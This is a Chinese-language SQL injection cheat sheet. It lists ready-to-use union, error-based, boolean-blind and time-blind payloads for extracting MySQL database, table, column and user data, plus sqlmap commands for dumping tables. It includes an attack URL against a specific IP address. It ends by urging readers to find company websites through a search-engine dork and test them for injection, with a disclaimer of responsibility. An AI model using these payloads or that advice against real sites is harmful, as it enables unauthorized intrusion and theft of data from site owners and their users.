联合注入
通过union联合查询来获取信息
数字型
-
提示输入数字值的ID作为参数 我们输入?id=1。
-
通过数字值不同返回的内容也不同所以我们输入的内容是带入到数据库里面查询了。
-
判断sql语句是否是拼接且是字符型还是数字型。
-
判断是否存在注入
and 1=1--+ and 1=2--+
-
判断表有多少列
order by 数字
-
判断回显
union select 1,2,...
-
联合查询库
union select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA--+
-
联合查询表
union select group_concat(table_name) from information_schema.tables where table_schema='库名'--+
-
联合查询字段
union select group_concat(column_name) from information_schema.columns where table_name='表名'--+
-
联合查询字段值
union select group_concat(字段1 ,字段2 ,字段3) from users--+
字符型
http://8.130.99.218/?id=-1' union select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA--+
其他类型通过报错来查看什么符号,基本都是' ') ") "
报错注入
通过报错来回显信息 报错注入函数有很多,讲两个常见的extractvalue()报错注入updatexml()报错注入
extractvalue报错注入
extractvalue(XML_document,XPath_string) 第一个参数XML_document是String格式为XML文档对象的名称文中为Doc 第二个参数XPath_string (Xpath格式的字符串) 如果不了解Xpath语法可以在网上查找教程。 作用从XML_document中提取符合XPath_string的值当我们XPath_string语法报错时候就会报错下面的 语法就是错误的。 XPath_string的值不符合格式时产生报错,报错信息会将XPath_string值显示出来,可以通过此来获得信 息回显。
获取数据库名
and (extractvalue(1,concat(0x5c,(select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA),0x5c)))--+ and (extractvalue(1,concat(0x5c,(select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1),0x5c)))--+ #当回显长度不够时,用limit查找 select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1 # 从第几位开始,查询几位
获取表名
and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),0x5c)))--+
获取字段名
and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name='表名'),0x5c)))--+
获取字段值
and (extractvalue(1,concat(0x5c,(select group_concat(字段1,字段2,...) from users),0x5c)))--+
updatexml报错注入
UPDATEXML (XML_document, XPath_string, new_value) 第一个参数XML_document是String格式为XML文档对象的名称文中为Doc 第二个参数XPath_string (Xpath格式的字符串) 如果不了解Xpath语法可以在网上查找教程。 第三个参数new_valueString格式替换查找到的符合条件的数据 XPath_string的值不符合格式时产生报错,报错信息会将XPath_string值显示出来,可以通过此来获得信 息回显。 与extractvalue类似,只是多了一个参数,故不在赘述
布尔盲注
请求执行对错出现不一样页面 因为请求对错出现的结果不一样,所以可以暴力破解 暴力破解流程 以爆库名为例
爆长度
and length((select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA))>9--+ #通过判断语句来判断长度,正确回显,错误则不回显
逐个爆字符值
and ascii(substr((select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA),1,1))=115--+
时间盲注
mysql中sleep()函数可以使程序休眠 通过sleep()函数 可以使用请求正确和错误的时间不同,之后就布尔盲注,可以通过差异爆破获取值。
判断sleep函数是否生效
if(1=1,sleep(5),1)--+
爆长度
if(length((select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA))>9,sleep(5),1)--+
逐个爆字符值
if(ascii(substr((select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA),1,1))=115,sleep(5),1)--+
神器-sqlmap
探测目标(常用探测)
1.sqlmap -u 目标url+get参数 #参数位于请求头上 2.sqlmap -r 流量包文件
获取数据库名
sqlmap -u 目标url --dbs sqlmap -r 流量包文件 --dbs
获取表名
sqlmap -u 目标 -D 库名 --tables
获取字段名
sqlmap -u 目标 -D 库名 -T 表名 --columns
获取字段值
sqlmap -u 目标 -D 库名 -T 表名 --dump #获取全部 sqlmap -u 目标 -D 库名 -T 表名 -C "字段1,字段2,.." --dump #获取指定
练习
搜索 公司inurl:php?id= 利用学的知识可以检测是否存在SQL注入,不过一般有waf,而且不要用工具(小网站可能会崩溃),造成意外概不负责